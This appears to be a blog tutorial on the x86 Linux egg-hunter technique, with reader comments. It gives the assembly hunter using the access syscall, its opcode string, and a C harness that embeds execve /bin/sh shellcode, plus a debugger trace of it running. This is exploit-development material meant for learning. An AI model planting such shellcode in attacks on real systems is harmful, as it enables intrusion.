This is a small post regarding egg hunting on x86 Linux systems. I’d highly recommend you to read skape’s paper “Safely Searching Process Virtual Address Space” . He has described his techniques for Linux and Windows systems. I will be using one of his implementations. I will use the access system call which is 33 for IA-32.
[code language=”c”]
#define __NR_access 33
[/code]
The access system call can be used the check whether the calling process can access the file.
[code language=”c”]
#include <unistd.h>
int access(const char *pathname, int mode);
[/code]
This is the x86 assembly implementation of the hunger code. It will search the virtual address space for our tag “AAAA” and begin execution of our shellcode. I am not going to explain this implementation. You can refer to skape’s document in higher detail.
[code language=”c”]
; linux x86 Egg Hunter using access (35 bytes)
; Egg size: 8 bytes
global _start
section .text
_start:
xor edx, edx
npage:
or dx, 0xfff
naddr:
inc edx
lea ebx, [edx+0x4]
push byte 0x21
pop eax
int 0x80
cmp al, 0xf2 ; check for EFAULT
je npage ; if yes, keep searching
mov eax, 0x41414141 ; Our tag
mov edi, edx
scasd
jne naddr
scasd
jne naddr
jmp edi
[/code]
To test this I’ll use “/bin/sh” shellcode inside my skeleton test file. I have defined the egg as “AAAA”. You can write anything accept null characters.
[code language=”c”]
#include<stdio.h>
#include<string.h>
#define EGG "\x41\x41\x41\x41"
unsigned char shellcode[] = EGG
EGG
"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x89\xe2\x53\x89\xe1\xb0\x0b\xcd"
"\x80";
unsigned char egghunter[] = "\x31\xd2\x66\x81\xca\xff\x0f\x42"
"\x8d\x5a\x04\x6a\x21\x58\xcd\x80"
"\x3c\xf2\x74\xee\xb8"
EGG
"\x89\xd7\xaf\x75\xe9\xaf\x75\xe6"
"\xff\xe7";
void
main() {
printf("Shellcode Length: %d\n", strlen(egghunter));
int (*ret)() = (int(*)())egghunter;
ret();
}
[/code]
Once you compile it run it you should get your shellcode working 🙂
If we analyze this we can see how the searching is done. Whenever an invalid address is found the EFAULT is return in EAX as “0xFFFFFFF2” the lower bytes are compared “f2” and if the zero flag is set, go to the next page and it keeps on finding.
Once it finds the tag our our real shellcode will start to run.
--------------------------------------------------------------------------[regs]
EAX: 0x41414141 EBX: 0x0804A044 ECX: 0x00000000 EDX: 0x0804A040 o d I t s Z a P c
ESI: 0x00000000 EDI: 0x0804A048 EBP: 0xBFFFF678 ESP: 0xBFFFF63C EIP: 0x0804A048
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
--------------------------------------------------------------------------[code][/code]
=> 0x804a048 : xor eax,eax
0x804a04a : push eax
0x804a04b : push 0x68732f2f
0x804a050 : push 0x6e69622f
0x804a055 : mov ebx,esp
0x804a057 : push eax
0x804a058 : mov edx,esp
0x804a05a : push ebx
In this manner you can write 2 staged shellcode.
nice I read whole the post and little bit from skape’s paper
realy nice technique 🙂 thankz for sharing knowledge 🙂